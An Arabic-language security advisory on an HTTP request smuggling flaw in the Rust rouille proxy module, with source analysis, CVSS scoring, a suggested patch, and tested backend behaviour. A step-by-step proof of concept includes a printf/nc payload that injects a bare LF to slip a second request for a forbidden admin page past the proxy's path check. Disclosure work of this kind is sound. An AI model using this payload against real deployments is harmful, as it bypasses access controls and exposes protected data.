
استشارة أمنية: تهريب طلبات HTTP يتيح تجاوز ضوابط الوصول للواجهة الأمامية (rouille)
معرّف CVE المُعيَّن: CVE-2026-67182
تقوم rouille::proxy::proxy و rouille::proxy::full_proxy بنسخ قيم ترويسات الطلبات المقدَّمة من العميل إلى الاتصال بالخادم العلوي دون التحقق من خلوّها من أحرف التحكم. يمكن أن تحتوي قيمة الترويسة بشكل مشروع على سطر جديد مفرد (0x0A)، لأن محلل الترويسات في tiny_http الأساسي لا ينهي سطر الترويسة إلا عند CRLF. لذلك، الخوادم الخلفية التي تقبل LF مفردة كفاصل أسطر تقرأ طلب الواجهة الأمامية الواحد على أنه طلبان.
الطلب الثاني يتحكم فيه المهاجم بالكامل، بما في ذلك طريقته ومساره، ولا يمر أبدًا عبر معالج rouille الذي قرر توجيه الطلب الأول عبر البروكسي. كما يتم إرجاع نص استجابته إلى المهاجم.
رابط المستودع: https://github.com/tomaka/rouille
| أول إصدار متأثر | 0.3.3 (2016-12-03)، الإصدار الذي أدخل src/proxy.rs |
| آخر إصدار متأثر | 3.6.2 (2023-04-24)، الإصدار الحالي |
| غير متأثر | 0.3.2 والإصدارات الأقدم، التي لا تحتوي على وحدة بروكسي |
| أُصلح في | لا يوجد إصدار مُصلَح وقت كتابة هذا التقرير |
كل إصدار منشور من 0.3.3 إلى 3.6.2 يحتوي على الكود دون تعديل. الملف src/proxy.rs مطابق بايتًا ببايت بين وسم 3.6.2 وفرع master الحالي.
تتأثر فقط التطبيقات التي تستدعي proxy::proxy أو proxy::full_proxy.
CWE-444 (تفسير غير متسق لطلبات HTTP)، ويُوصَل إليه عبر CWE-113 (تحييد غير صحيح لتسلسلات CRLF في ترويسات HTTP).
الدرجة الأساسية لـ CVSS 4.0: 6.9 (متوسطة)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
المهاجم هو عميل بعيد غير مصادَق يمكنه إرسال HTTP خام إلى خادم rouille. لا يلزم أي بيانات اعتماد، ولا أي تفاعل من المستخدم، ولا أي موقع على الشبكة بين المكونات.
النشر المعرَّض للخطر هو تطبيق rouille يعمل كبروكسي عكسي يتخذ قرارًا أمنيًا (توجيه المسارات، أو المصادقة، أو التفويض، أو تصفية المحتوى) قبل استدعاء proxy()، أمام خادم خلفي يقبل محلل HTTP فيه LF مفردة كفاصل لسطر الترويسة.
سلوك الخوادم الخلفية المُقاس:
لم يتم اختبار nginx وApache. يسمح القسم 2.2 من RFC 9112 للمستقبِل بالتعرف على LF مفردة كفاصل أسطر، لذا فإن الخوادم الخلفية المتقبِّلة تتصرف ضمن حدود المواصفات.
rouille/src/proxy.rs، الأسطر 157 إلى 174:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
السطر 171 هو نقطة التسريب (sink). القيمة value غير موثوقة وتُكتب دون أي تحقق.
يدخل التلوث عبر tiny_http. في tiny_http-0.12.0/src/client.rs، الأسطر 80 إلى 102، لا ينتهي سطر الترويسة إلا عندما تأتي LF بعد CR:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
تمرّ LF مفردة عبر الشرط وتصل إلى السطر 100 وتُدفع إلى مخزن السطر المؤقت. LF هي ASCII صالحة، لذا يقبلها AsciiString::from_ascii. ثم يقوم Header::from_str في tiny_http-0.12.0/src/common.rs السطر 184 بقصّ القيمة فقط، مما يزيل المسافات البيضاء في البداية والنهاية لكنه يترك البايتات الداخلية دون تغيير:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
النتيجة هي قيمة ترويسة rouille تحتوي على \n خام، يكتبها السطر 171 من proxy.rs مباشرةً في الطلب العلوي.
لا يحدّ Connection: close في السطر 173 من الضرر. السطر الفارغ المُحقون ينهي الطلب الأول قبل تنفيذ السطر 173، لذا تُمتص تلك الترويسة في الطلب المُهرَّب. لا يحمل الطلب الأول ترويسة Connection فيُعتمد افتراضيًا على وضع keep-alive في HTTP/1.1، وهذا بالضبط ما يسمح للخادم الخلفي بمواصلة معالجة الطلب الثاني.
الخطوة 1. أنشئ جذر مستندات للخادم الخلفي يحتوي على ملف عام وملف يُفترض أن يحميه البروكسي.
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
الخطوة 2. شغّل خادمًا خلفيًا مع تمكين keep-alive على المنفذ 8001.
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
الخطوة 3. شغّل الواجهة الأمامية rouille على المنفذ 8000. توجّه /public/ عبر البروكسي وترفض كل ما عدا ذلك.
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
الخطوة 4. تحقق من أن ضبط الوصول يعمل.
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
الخطوة 5. أرسل طلبًا واحدًا للمسار المسموح به مع LF مفردة داخل قيمة ترويسة. في الأمر أدناه، \n هي سطر جديد مفرد و\r\n هي CRLF. الفرق بينهما هو الهجمة بأكملها؛ فلا تدع أي محرر يوحّد بينهما.
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
النتيجة. يُظهر سجل الخادم الخلفي طلبين، الثاني هو المسار الذي رفضته الواجهة الأمامية في الخطوة 4:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
كما يتلقى المهاجم المحتوى المحمي، لأن السطر 224 من src/proxy.rs يحوّل ما تبقى من مقبس الاتصال العلوي إلى نص الاستجابة:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
يمكن لعميل غير مصادَق إصدار طلب عشوائي إلى الخادم الخلفي وقراءة استجابته، بينما لا يرى معالج rouille سوى الطلب المسموح به. هذا يُبطل ضوابط الوصول القائمة على المسارات، والمصادقة المُنفَّذة في المعالج، وأي فحص للطلبات يتم قبل استدعاء proxy().
ثمة حدّان جديران بالذكر. يفتح proxy() اتصال TCP جديدًا لكل طلب ولا يستخدم تجميع الاتصالات، لذا لا تتيح هذه الثغرة تسميم قائمة انتظار الطلبات عبر المستخدمين المرتبط بتهريب الطلبات الكلاسيكي. كما تتطلب الهجمة خادمًا خلفيًا متسامحًا مع LF، كما قيس أعلاه.
ارفض أسماء وقيم الترويسات التي تحتوي على أحرف تحكم قبل كتابتها إلى الخادم العلوي. في src/proxy.rs، داخل الحلقة عند السطر 157:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
| الخادم الخلفي | الإصدار المُختبَر | يقبل الـ LF المُحقنة |
|---|
Go net/http | go1.26.4 | نعم، يخدم الطلب المُهرَّب |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | نعم، يخدم الطلب المُهرَّب |
| Node.js | v26.3.0 | لا، يعيد 400 (وضع llhttp الصارم) |
| خادم PHP المدمج | 8.5.8 | لا، يُسقط الاتصال |